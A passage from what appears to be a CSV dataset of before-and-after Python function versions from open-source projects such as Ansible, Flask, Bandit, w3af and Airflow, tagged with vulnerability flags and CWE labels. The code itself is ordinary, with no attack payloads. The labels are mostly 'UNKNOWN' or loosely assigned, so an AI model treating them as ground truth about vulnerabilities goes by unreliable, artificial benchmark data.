                        except Exception:
                            # just ignore any errors during task name templating,
                            # we don't care if it just shows the raw name
                            display.debug(""templating failed for some reason"", host=host_name)

                        run_once = templar.template(task.run_once) or action and getattr(action, 'BYPASS_HOST_LOOP', False)
                        if run_once:
                            if action and getattr(action, 'BYPASS_HOST_LOOP', False):
                                raise AnsibleError(""The '%s' module bypasses the host loop, which is currently not supported in the free strategy ""
                                                   ""and would instead execute for every host in the inventory list."" % task.action, obj=task._ds)
                            else:
                                display.warning(""Using run_once with the free strategy is not currently supported. This task will still be ""
                                                ""executed for every host in the inventory list."")

                        # check to see if this task should be skipped, due to it being a member of a
                        # role which has already run (and whether that role allows duplicate execution)
                        if not isinstance(task, Handler) and task._role:
                            role_obj = self._get_cached_role(task, iterator._play)
                            if role_obj.has_run(host) and task._role._metadata.allow_duplicates is False:
                                display.debug(""'%s' skipped because role has already run"" % task, host=host_name)
                                del self._blocked_hosts[host_name]
                                continue

                        if task.action in C._ACTION_META:
                            self._execute_meta(task, play_context, iterator, target_host=host)
                            self._blocked_hosts[host_name] = False
                        else:
                            # handle step if needed, skip meta actions as they are used internally
                            if not self._step or self._take_step(task, host_name):
                                if task.any_errors_fatal:
                                    display.warning(""Using any_errors_fatal with the free strategy is not supported, ""
                                                    ""as tasks are executed independently on each host"")
                                if isinstance(task, Handler):
                                    self._tqm.send_callback('v2_playbook_on_handler_task_start', task)
                                else:
                                    self._tqm.send_callback('v2_playbook_on_task_start', task, is_conditional=False)
                                self._queue_task(host, task, task_vars, play_context)
                                # each task is counted as a worker being busy
                                workers_free -= 1
                                del task_vars
                    else:
                        display.debug(""%s is blocked, skipping for now"" % host_name)

                # all workers have tasks to do (and the current host isn't done with the play).
                # loop back to starting host and break out
                if self._host_pinned and workers_free == 0 and work_to_do:
                    last_host = starting_host
                    break

                # move on to the next host and make sure we
                # haven't gone past the end of our hosts list
                last_host += 1
                if last_host > len(hosts_left) - 1:
                    last_host = 0

                # if we've looped around back to the start, break out
                if last_host == starting_host:
                    break

            results = self._process_pending_results(iterator)
            host_results.extend(results)

            # each result is counted as a worker being free again
            workers_free += len(results)

            self.update_active_connections(results)

            included_files = IncludedFile.process_include_results(
                host_results,
                iterator=iterator,
                loader=self._loader,
                variable_manager=self._variable_manager
            )

            if len(included_files) > 0:
                all_blocks = dict((host, []) for host in hosts_left)
                failed_includes_hosts = set()
                for included_file in included_files:
                    display.debug(""collecting new blocks for %s"" % included_file)
                    is_handler = False
                    try:
                        if included_file._is_role:
                            new_ir = self._copy_included_file(included_file)

                            new_blocks, handler_blocks = new_ir.get_block_list(
                                play=iterator._play,
                                variable_manager=self._variable_manager,
                                loader=self._loader,
                            )
                        else:
                            is_handler = isinstance(included_file._task, Handler)
                            new_blocks = self._load_included_file(
                                included_file,
                                iterator=iterator,
                                is_handler=is_handler,
                                handle_stats_and_callbacks=False,
                            )

                        # let PlayIterator know about any new handlers included via include_role or
                        # import_role within include_role/include_taks
                        iterator.handlers = [h for b in iterator._play.handlers for h in b.block]
                    except AnsibleParserError:
                        raise
                    except AnsibleError as e:
                        display.error(to_text(e), wrap_text=False)
                        for r in included_file._results:
                            r._result['failed'] = True
                            r._result['reason'] = str(e)
                            self._tqm._stats.increment('failures', r._host.name)
                            self._tqm.send_callback('v2_runner_on_failed', r)
                            failed_includes_hosts.add(r._host)
                        continue
                    else:
                        # since we skip incrementing the stats when the task result is
                        # first processed, we do so now for each host in the list
                        for host in included_file._hosts:
                            self._tqm._stats.increment('ok', host.name)
                        self._tqm.send_callback('v2_playbook_on_include', included_file)

                    for new_block in new_blocks:
                        if is_handler:
                            for task in new_block.block:
                                task.notified_hosts = included_file._hosts[:]
                            final_block = new_block
                        else:
                            task_vars = self._variable_manager.get_vars(
                                play=iterator._play,
                                task=new_block.get_first_parent_include(),
                                _hosts=self._hosts_cache,
                                _hosts_all=self._hosts_cache_all,
                            )
                            final_block = new_block.filter_tagged_tasks(task_vars)
                        for host in hosts_left:
                            if host in included_file._hosts:
                                all_blocks[host].append(final_block)
                    display.debug(""done collecting new blocks for %s"" % included_file)

                for host in failed_includes_hosts:
                    self._tqm._failed_hosts[host.name] = True
                    iterator.mark_host_failed(host)

                display.debug(""adding all collected blocks from %d included file(s) to iterator"" % len(included_files))
                for host in hosts_left:
                    iterator.add_tasks(host, all_blocks[host])
                display.debug(""done adding collected blocks to iterator"")

            # pause briefly so we don't spin lock
            time.sleep(C.DEFAULT_INTERNAL_POLL_INTERVAL)

        # collect all the final results
        results = self._wait_on_pending_results(iterator)

        # run the base class run() method, which executes the cleanup function
        # and runs any outstanding handlers which have been triggered
        return super(StrategyModule, self).run(iterator, play_context, result)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/helpers.py,0,"def _get_static_url_path(self):
        if self._static_url_path is not None:
            return self._static_url_path

        if self.static_folder is not None:
            basename = os.path.basename(self.static_folder)
            return ""/"" + basename if basename else """"",,pallets/flask,a12bf290da4e5ccc9cc7bd00a8e1ba8bccb50586,"def _get_static_url_path(self):
        if self._static_url_path is not None:
            return self._static_url_path

        if self.static_folder is not None:
            return ""/"" + os.path.basename(self.static_folder)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/html.py,0,"def report(manager, filename, sev_level, conf_level, lines=-1):
    """"""Writes issues to 'filename' in HTML format

    :param manager: the bandit manager object
    :param filename: output file name
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    header_block = u""""""
<!DOCTYPE html>
<html>
<head>

<title>
    Bandit Report
</title>

<style>

html * {
    font-family: ""Arial"", sans-serif;
}

pre {
    font-family: ""Monaco"", monospace;
}

.bordered-box {
    border: 1px solid black;
    padding-top:.5em;
    padding-bottom:.5em;
    padding-left:1em;

}

.metrics-box {
    font-size: 1.1em;
    line-height: 130%;
}

.metrics-title {
    font-size: 1.5em;
    font-weight: 500;
    margin-bottom: .25em;
}

.issue-description {
    font-size: 1.3em;
    font-weight: 500;
}

.candidate-issues {
    margin-left: 2em;
    border-left: solid 1px; LightGray;
    padding-left: 5%;
    margin-top: .2em;
    margin-bottom: .2em;
}

.issue-block {
    border: 1px solid LightGray;
    padding-left: .5em;
    padding-top: .5em;
    padding-bottom: .5em;
    margin-bottom: .5em;
}

.issue-sev-high {
    background-color: Pink;
}

.issue-sev-medium {
    background-color: NavajoWhite;
}

.issue-sev-low {
    background-color: LightCyan;
}

</style>
</head>
""""""

    report_block = u""""""
<body>
{metrics}
{skipped}

<br>
<span id='results'>
    {results}
</span>

</body>
</html>
""""""

    issue_block = u""""""
<span id='issue-{issue_no}'>
<div class='issue-block {issue_class}'>
    <b>{test_name}: </b> {test_text}<br>
    <b>Test ID:</b> {test_id}<br>
    <b>Severity: </b>{severity}<br />
    <b>Confidence: </b>{confidence}</br />
    <b>File: </b><a href='{path}' target='_blank'>{path}</a> <br />
    <b>More info: </b><a href='{url}' target='_blank'>{url}</a><br />
{code}
{candidates}
</div>
</span>
""""""

    code_block = u""""""
<span id='code'>
<pre>
{code}
</pre>
</span>
""""""

    candidate_block = u""""""
<span id='candidates'>
<br>
<b>Candidates: </b>
{candidate_list}
</span>
""""""

    candidate_issue = u""""""
<span id='candidate'>
<div class='candidate-issues'>
<pre>{code}</pre>
</div>
</span>
""""""

    skipped_block = u""""""
<br>
<span id='skipped'>
<div class='bordered-box'>
<b>Skipped files:</b><br><br>
{files_list}
</div>
</span>
""""""

    metrics_block = u""""""
<span id='metrics'>
    <div class='metrics-box bordered-box'>
        <div class='metrics-title'>
            Metrics:<br>
        </div>
        Total lines of code: <span id='loc'>{loc}</span><br>
        Total lines skipped (#nosec): <span id='nosec'>{nosec}</span>
    </div>
</span>

""""""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)

    baseline = not isinstance(issues, list)

    # build the skipped string to insert in the report
    skipped_str = ''.join('%s <b>reason:</b> %s<br>' % (fname, reason)
                          for fname, reason in manager.skipped)
    if skipped_str:
        skipped_text = skipped_block.format(files_list=skipped_str)
    else:
        skipped_text = ''

    # build the results string to insert in the report
    results_str = ''
    for index, issue in enumerate(issues):
        if not baseline or len(issues[issue]) == 1:
            candidates = ''
            code = code_block.format(code=issue.get_code(lines, True).
                                     strip('\n').lstrip(' '))
        else:
            candidates_str = ''
            code = ''
            for candidate in issues[issue]:
                candidate_code = (candidate.get_code(lines, True).strip('\n').
                                  lstrip(' '))
                candidates_str += candidate_issue.format(code=candidate_code)

            candidates = candidate_block.format(candidate_list=candidates_str)

        url = docs_utils.get_url(issue.test_id)
        results_str += issue_block.format(issue_no=index,
                                          issue_class='issue-sev-{}'.
                                          format(issue.severity.lower()),
                                          test_name=issue.test,
                                          test_id=issue.test_id,
                                          test_text=issue.text,
                                          severity=issue.severity,
                                          confidence=issue.confidence,
                                          path=issue.fname, code=code,
                                          candidates=candidates,
                                          url=url)

    # build the metrics string to insert in the report
    metrics_summary = metrics_block.format(
        loc=manager.metrics.data['_totals']['loc'],
        nosec=manager.metrics.data['_totals']['nosec'])

    # build the report and output it
    report_contents = report_block.format(metrics=metrics_summary,
                                          skipped=skipped_text,
                                          results=results_str)

    with utils.output_file(filename, 'w') as fout:
        fout.write(str(header_block.encode('utf-8')))
        fout.write(str(report_contents.encode('utf-8')))

    if filename is not None:
        logger.info(""HTML output written to file: %s"" % filename)",UNKNOWN,PyCQA/bandit,5b6d25e5e44a56c319ac3ae236558df71a9f8a2e,"def report(manager, filename, sev_level, conf_level, lines=-1):
    """"""Writes issues to 'filename' in HTML format

    :param manager: the bandit manager object
    :param filename: output file name
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    header_block = u""""""
<!DOCTYPE html>
<html>
<head>

<title>
    Bandit Report
</title>

<style>

html * {
    font-family: ""Arial"", sans-serif;
}

pre {
    font-family: ""Monaco"", monospace;
}

.bordered-box {
    border: 1px solid black;
    padding-top:.5em;
    padding-bottom:.5em;
    padding-left:1em;

}

.metrics-box {
    font-size: 1.1em;
    line-height: 130%;
}

.metrics-title {
    font-size: 1.5em;
    font-weight: 500;
    margin-bottom: .25em;
}

.issue-description {
    font-size: 1.3em;
    font-weight: 500;
}

.candidate-issues {
    margin-left: 2em;
    border-left: solid 1px; LightGray;
    padding-left: 5%;
    margin-top: .2em;
    margin-bottom: .2em;
}

.issue-block {
    border: 1px solid LightGray;
    padding-left: .5em;
    padding-top: .5em;
    padding-bottom: .5em;
    margin-bottom: .5em;
}

.issue-sev-high {
    background-color: Pink;
}

.issue-sev-medium {
    background-color: NavajoWhite;
}

.issue-sev-low {
    background-color: LightCyan;
}

</style>
</head>
""""""

    report_block = u""""""
<body>
{metrics}
{skipped}

<br>
<span id='results'>
    {results}
</span>

</body>
</html>
""""""

    issue_block = u""""""
<span id='issue-{issue_no}'>
<div class='issue-block {issue_class}'>
    <b>{test_name}: </b> {test_text}<br>
    <b>Test ID:</b> {test_id}<br>
    <b>Severity: </b>{severity}<br />
    <b>Confidence: </b>{confidence}</br />
    <b>File: </b><a href='{path}' target='_blank'>{path}</a> <br />
    <b>More info: </b><a href='{url}' target='_blank'>{url}</a><br />
{code}
{candidates}
</div>
</span>
""""""

    code_block = u""""""
<span id='code'>
<pre>
{code}
</pre>
</span>
""""""

    candidate_block = u""""""
<span id='candidates'>
<br>
<b>Candidates: </b>
{candidate_list}
</span>
""""""

    candidate_issue = u""""""
<span id='candidate'>
<div class='candidate-issues'>
<pre>{code}</pre>
</div>
</span>
""""""

    skipped_block = u""""""
<br>
<span id='skipped'>
<div class='bordered-box'>
<b>Skipped files:</b><br><br>
{files_list}
</div>
</span>
""""""

    metrics_block = u""""""
<span id='metrics'>
    <div class='metrics-box bordered-box'>
        <div class='metrics-title'>
            Metrics:<br>
        </div>
        Total lines of code: <span id='loc'>{loc}</span><br>
        Total lines skipped (#nosec): <span id='nosec'>{nosec}</span>
    </div>
</span>

""""""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)

    baseline = not isinstance(issues, list)

    # build the skipped string to insert in the report
    skipped_str = ''.join('%s - %s\n' % (fname, reason)
                          for fname, reason in manager.skipped)
    if skipped_str:
        skipped_text = skipped_block.format(files_list=skipped_str)
    else:
        skipped_text = ''

    # build the results string to insert in the report
    results_str = ''
    for index, issue in enumerate(issues):
        if not baseline or len(issues[issue]) == 1:
            candidates = ''
            code = code_block.format(code=issue.get_code(lines, True).
                                     strip('\n').lstrip(' '))
        else:
            candidates_str = ''
            code = ''
            for candidate in issues[issue]:
                candidate_code = (candidate.get_code(lines, True).strip('\n').
                                  lstrip(' '))
                candidates_str += candidate_issue.format(code=candidate_code)

            candidates = candidate_block.format(candidate_list=candidates_str)

        url = docs_utils.get_url(issue.test_id)
        results_str += issue_block.format(issue_no=index,
                                          issue_class='issue-sev-{}'.
                                          format(issue.severity.lower()),
                                          test_name=issue.test,
                                          test_id=issue.test_id,
                                          test_text=issue.text,
                                          severity=issue.severity,
                                          confidence=issue.confidence,
                                          path=issue.fname, code=code,
                                          candidates=candidates,
                                          url=url)

    # build the metrics string to insert in the report
    metrics_summary = metrics_block.format(
        loc=manager.metrics.data['_totals']['loc'],
        nosec=manager.metrics.data['_totals']['nosec'])

    # build the report and output it
    report_contents = report_block.format(metrics=metrics_summary,
                                          skipped=skipped_text,
                                          results=results_str)

    with utils.output_file(filename, 'w') as fout:
        fout.write(str(header_block.encode('utf-8')))
        fout.write(str(report_contents.encode('utf-8')))

    if filename is not None:
        logger.info(""HTML output written to file: %s"" % filename)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/plugins.py,0,"def resolve_dependencies(self):
        for plugin_type, enabled_plugins in self._plugins_names_dict.iteritems():
            for plugin_name in enabled_plugins:

                plugin_inst = self.get_quick_instance(plugin_type, plugin_name)

                for dep in plugin_inst.get_plugin_deps():

                    try:
                        dep_plugin_type, dep_plugin_name = dep.split('.')
                    except:
                        msg = ('Plugin dependencies must be indicated using'
                               ' plugin_type.plugin_name notation. This is'
                               ' an error in %s.get_plugin_deps().' % plugin_name)
                        raise BaseFrameworkException(msg)

                    if dep_plugin_name not in self._plugins_names_dict[dep_plugin_type]:
                        om.out.information('Enabling %s\'s dependency %s' %
                                           (plugin_name, dep_plugin_name))

                        self._plugins_names_dict[
                            dep_plugin_type].append(dep_plugin_name)

                        self.resolve_dependencies()",,andresriancho/w3af,8c355ed9fab9d13a2a79a5e8354918958c224f0d,"def resolve_dependencies(self):
        for plugin_type, enabled_plugins in self._plugins_names_dict.iteritems():
            for plugin_name in enabled_plugins:

                plugin_inst = self.get_quick_instance(plugin_type, plugin_name)

                for dep in plugin_inst.get_plugin_deps():

                    try:
                        dep_plugin_type, dep_plugin_name = dep.split('.')
                    except:
                        msg = ('Plugin dependencies must be indicated using'
                               ' plugin_type.plugin_name notation. This is'
                               ' an error in %s.get_plugin_deps().' % plugin_name)
                        raise BaseFrameworkException(msg)

                    if dep_plugin_name not in self._plugins_names_dict[dep_plugin_type]:
                        om.out.information('Enabling %s\'s dependency %s' %
                                           (plugin_name, dep_plugin_name))

                        self._plugins_names_dict[
                            dep_plugin_type].append(dep_plugin_name)

                        self.resolve_dependencies()"
,UNKNOWN,UNKNOWN,pkg/tests/conftest.py,1,"def _system_up_to_date(
    grains,
    shell,
):
    if grains[""os_family""] == ""Debian"":
        ret = shell.run(""apt"", ""update"")
        assert ret.returncode == 0
        env = os.environ.copy()
        env[""DEBIAN_FRONTEND""] = ""noninteractive""
        ret = shell.run(
            ""apt"",
            ""upgrade"",
            ""-y"",
            ""-o"",
            ""DPkg::Options::=--force-confdef"",
            ""-o"",
            ""DPkg::Options::=--force-confold"",
            env=env,
        )
        assert ret.returncode == 0
    elif grains[""os_family""] == ""Redhat"":
        ret = shell.run(""yum"", ""update"", ""-y"")
        assert ret.returncode == 0",CWE-703,saltstack/salt,22c1766113a69c24e216ff45f4cb506719b8c347,"def _system_up_to_date(
    grains,
    shell,
):
    if grains[""os_family""] == ""Debian"":
        ret = shell.run(""apt"", ""update"")
        assert ret.returncode == 0
        ret = shell.run(""apt"", ""upgrade"", ""-y"")
        assert ret.returncode == 0
    elif grains[""os_family""] == ""Redhat"":
        ret = shell.run(""yum"", ""update"", ""-y"")
        assert ret.returncode == 0"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pipelines/pipeline.py,0,"def get_artifact(self, artifact_name: str):
        """"""
        Read an artifact from pipeline output. artifact names can be obtained from
        `Pipeline.inspect()` or `Pipeline.run()` output.

        Returns None if the specified artifact is not found.
        Raise an error if the artifact is not supported.
        """"""
        pass",,mlflow/mlflow,fd1f3aa246ca55a6dc0121ecf582c48b1c0287d0,"def get_artifact(self, artifact_name: str):
        """"""
        Read an artifact from pipeline output. artifact names can be obtained from
        `Pipeline.inspect()` or `Pipeline.run()` output.

        Returns None if the specified artifact is not found.
        Raise an error if the artifact is not supported.
        """"""
        pass"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/fuzzer/mutants/tests/test_json_mutant.py,0,"def test_create_mutants_9116(self):
        payment_data = {'transaction_amount': 100,
                        'reason': 'Title of what you are paying for',
                        'installments': 1,
                        'payment_method_id': 'visa',
                        'token': '16faba8617708',
                        'external_reference': '1234',
                        'random_anti_anti_double_click': 11577513359,
                        'extra_charge': None}
        payment_data = json.dumps(payment_data)

        dc = JSONContainer(payment_data)
        freq = FuzzableRequest(self.url, post_data=dc, method='POST')

        created_mutants = JSONMutant.create_mutants(freq, self.payloads, [],
                                                    False, self.fuzzer_config)

        expected_dcs = ['{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""www"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""xyz"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""www"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""xyz"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""xyz"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""xyz"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""www"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""www"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": ""xyz""}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": ""www""}']

        created_dcs = [str(i.get_dc()) for i in created_mutants]
        created_post_datas = [i.get_data() for i in created_mutants]

        self.assertEqual(set(created_dcs), set(expected_dcs))
        self.assertEqual(set(created_dcs), set(created_post_datas))

        for m in created_mutants:
            m.set_token_value('abc')",,andresriancho/w3af,797274ec6c5171bfa990ab30c1eab58729995149,"def test_create_mutants_9116(self):
        payment_data = {'transaction_amount': 100,
                        'reason': 'Title of what you are paying for',
                        'installments': 1,
                        'payment_method_id': 'visa',
                        'token': '16faba8617708',
                        'external_reference': '1234',
                        'random_anti_anti_double_click': 11577513359,
                        'extra_charge': None}
        payment_data = json.dumps(payment_data)

        dc = JSONContainer(payment_data)
        freq = FuzzableRequest(self.url, post_data=dc, method='POST')

        created_mutants = JSONMutant.create_mutants(freq, self.payloads, [],
                                                    False, self.fuzzer_config)

        expected_dcs = ['{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""www"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""xyz"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""www"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""xyz"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""xyz"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""xyz"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""1234"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""www"", ""extra_charge"": null}',
                        '{""transaction_amount"": 100, ""external_reference"": ""www"", ""random_anti_anti_double_click"": 11577513359, ""token"": ""16faba8617708"", ""reason"": ""Title of what you are paying for"", ""installments"": 1, ""payment_method_id"": ""visa"", ""extra_charge"": null}']

        created_dcs = [str(i.get_dc()) for i in created_mutants]
        created_post_datas = [i.get_data() for i in created_mutants]

        self.assertEqual(set(created_dcs), set(expected_dcs))
        self.assertEqual(set(created_dcs), set(created_post_datas))

        for m in created_mutants:
            m.set_token_value('abc')"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,0,"def queryset_add(self, request):
        """"""
        Returns a QuerySet of all model instances that can be edited by the
        admin site in the ""add"" stage.
        """"""
        return self.queryset(request)",CWE-Unknown,django/django,25c15b17a86fa95b5374b9ef6366450b28a28b7a,"def queryset_add(self, request):
        """"""
        Returns a QuerySet of all model instances that can be edited by the
        admin site in the ""add"" stage.
        """"""
        return self.queryset()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/models/test_mappedoperator.py,0,"def _create_mapped_with_name_template_taskflow(*, task_id, map_names, template):
    from airflow.operators.python import get_current_context

    @task(task_id=task_id, map_index_template=template)
    def task1(map_name):
        context = get_current_context()
        context[""map_name""] = map_name

    return task1.expand(map_name=map_names)",CWE-Unknown,apache/airflow,3487fccfe27d959f6ed1b407cfb613635f88a839,"def _create_mapped_with_name_template_taskflow(*, task_id, map_names, template):
    from airflow.operators.python import get_current_context

    @task(task_id=task_id, map_index_template=template)
    def task1(map_name):
        context = get_current_context()
        context[""map_name""] = map_name

    return task1.expand(map_name=map_names)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/handlers/tests.py,0,"def test_bad_path_info(self):
        """"""Tests for bug #15672 ('request' referenced before assignment)""""""
        environ = RequestFactory().get('/').environ
        environ['PATH_INFO'] = b'\xed' if six.PY2 else '\xed'
        handler = WSGIHandler()
        response = handler(environ, lambda *a, **k: None)
        self.assertEqual(response.status_code, 400)",CWE-Unknown,django/django,7fcd6aa6695b39370154d6993cdbb3ba4363de91,"def test_bad_path_info(self):
        """"""Tests for bug #15672 ('request' referenced before assignment)""""""
        environ = RequestFactory().get('/').environ
        environ['PATH_INFO'] = b'\xed' if six.PY2 else '\xed'
        handler = WSGIHandler()
        response = handler(environ, lambda *a, **k: None)
        self.assertEqual(response.status_code, 400)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/nxos/nxos_facts.py,0,"def populate(self):
        self.facts['all_ipv4_addresses'] = list()
        self.facts['all_ipv6_addresses'] = list()
        self.facts['neighbors'] = {}
        data = None

        data = self.run('show interface', output='json')

        if data:
            if isinstance(data, dict):
                self.facts['interfaces'] = self.populate_structured_interfaces(data)
            else:
                interfaces = self.parse_interfaces(data)
                self.facts['interfaces'] = self.populate_interfaces(interfaces)

        if self.ipv6_structure_op_supported():
            data = self.run('show ipv6 interface', output='json')
        else:
            data = None
        if data:
            if isinstance(data, dict):
                self.populate_structured_ipv6_interfaces(data)
            else:
                interfaces = self.parse_interfaces(data)
                self.populate_ipv6_interfaces(interfaces)

        data = self.run('show lldp neighbors', output='json')
        if data:
            if isinstance(data, dict):
                self.facts['neighbors'].update(self.populate_structured_neighbors_lldp(data))
            else:
                self.facts['neighbors'].update(self.populate_neighbors(data))

        data = self.run('show cdp neighbors detail', output='json')
        if data:
            if isinstance(data, dict):
                self.facts['neighbors'].update(self.populate_structured_neighbors_cdp(data))
            else:
                self.facts['neighbors'].update(self.populate_neighbors_cdp(data))

        self.facts['neighbors'].pop(None, None)",,ansible/ansible,e51964e7a6552bab3cfb7c2dfe07dd33512f477a,"def populate(self):
        self.facts['all_ipv4_addresses'] = list()
        self.facts['all_ipv6_addresses'] = list()
        self.facts['neighbors'] = {}
        data = None

        data = self.run('show interface', output='json')

        if data:
            if isinstance(data, dict):
                self.facts['interfaces'] = self.populate_structured_interfaces(data)
            else:
                interfaces = self.parse_interfaces(data)
                self.facts['interfaces'] = self.populate_interfaces(interfaces)

        if self.ipv6_structure_op_supported():
            data = self.run('show ipv6 interface', output='json')
        else:
            data = None
        if data:
            if isinstance(data, dict):
                self.populate_structured_ipv6_interfaces(data)
            else:
                interfaces = self.parse_interfaces(data)
                self.populate_ipv6_interfaces(interfaces)

        data = self.run('show lldp neighbors')
        if data:
            self.facts['neighbors'].update(self.populate_neighbors(data))

        data = self.run('show cdp neighbors detail', output='json')
        if data:
            if isinstance(data, dict):
                self.facts['neighbors'].update(self.populate_structured_neighbors_cdp(data))
            else:
                self.facts['neighbors'].update(self.populate_neighbors_cdp(data))"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_log.py,1,"def test_get_logs_with_metadata_as_download_file(log_admin_client):
    url_template = (
        ""get_logs_with_metadata?dag_id={}&""
        ""task_id={}&execution_date={}&""
        ""try_number={}&metadata={}&format=file""
    )
    try_number = 1
    date = DEFAULT_DATE.isoformat()
    url = url_template.format(
        DAG_ID,
        TASK_ID,
        urllib.parse.quote_plus(date),
        try_number,
        ""{}"",
    )
    response = log_admin_client.get(url)

    content_disposition = response.headers['Content-Disposition']
    assert content_disposition.startswith('attachment')
    assert (
        f'dag_id={DAG_ID}/run_id=scheduled__{date}/task_id={TASK_ID}/attempt={try_number}.log'
        in content_disposition
    )
    assert 200 == response.status_code
    assert 'Log for testing.' in response.data.decode('utf-8')
    assert 'localhost\n' in response.data.decode('utf-8')",CWE-703,apache/airflow,2258e13cc78faec80054c223eca9378fd33e18fd,"def test_get_logs_with_metadata_as_download_file(log_admin_client):
    url_template = (
        ""get_logs_with_metadata?dag_id={}&""
        ""task_id={}&execution_date={}&""
        ""try_number={}&metadata={}&format=file""
    )
    try_number = 1
    url = url_template.format(
        DAG_ID,
        TASK_ID,
        urllib.parse.quote_plus(DEFAULT_DATE.isoformat()),
        try_number,
        ""{}"",
    )
    response = log_admin_client.get(url)

    content_disposition = response.headers['Content-Disposition']
    assert content_disposition.startswith('attachment')
    assert f'{DAG_ID}/{TASK_ID}/{DEFAULT_DATE.isoformat()}/{try_number}.log' in content_disposition
    assert 200 == response.status_code
    assert 'Log for testing.' in response.data.decode('utf-8')
    assert 'localhost\n' in response.data.decode('utf-8')"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/system/hostname.py,0,"def get_permanent_hostname(self):
        if not os.path.isfile(self.HOSTNAME_FILE):
            try:
                open(self.HOSTNAME_FILE, ""a"").write("""")
            except IOError as e:
                self.module.fail_json(msg=""failed to write file: %s"" %
                                          to_native(e), exception=traceback.format_exc())
        try:
            f = open(self.HOSTNAME_FILE)
            try:
                return f.read().strip()
            finally:
                f.close()
        except Exception as e:
            self.module.fail_json(msg=""failed to read hostname: %s"" %
                                      to_native(e), exception=traceback.format_exc())",,ansible/ansible,a2d34e914e169d08956ea807aab4d5539d31e8ce,"def get_permanent_hostname(self):
        if not os.path.isfile(self.HOSTNAME_FILE):
            try:
                open(self.HOSTNAME_FILE, ""a"").write("""")
            except IOError as e:
                self.module.fail_json(msg=""failed to write file: %s"" %
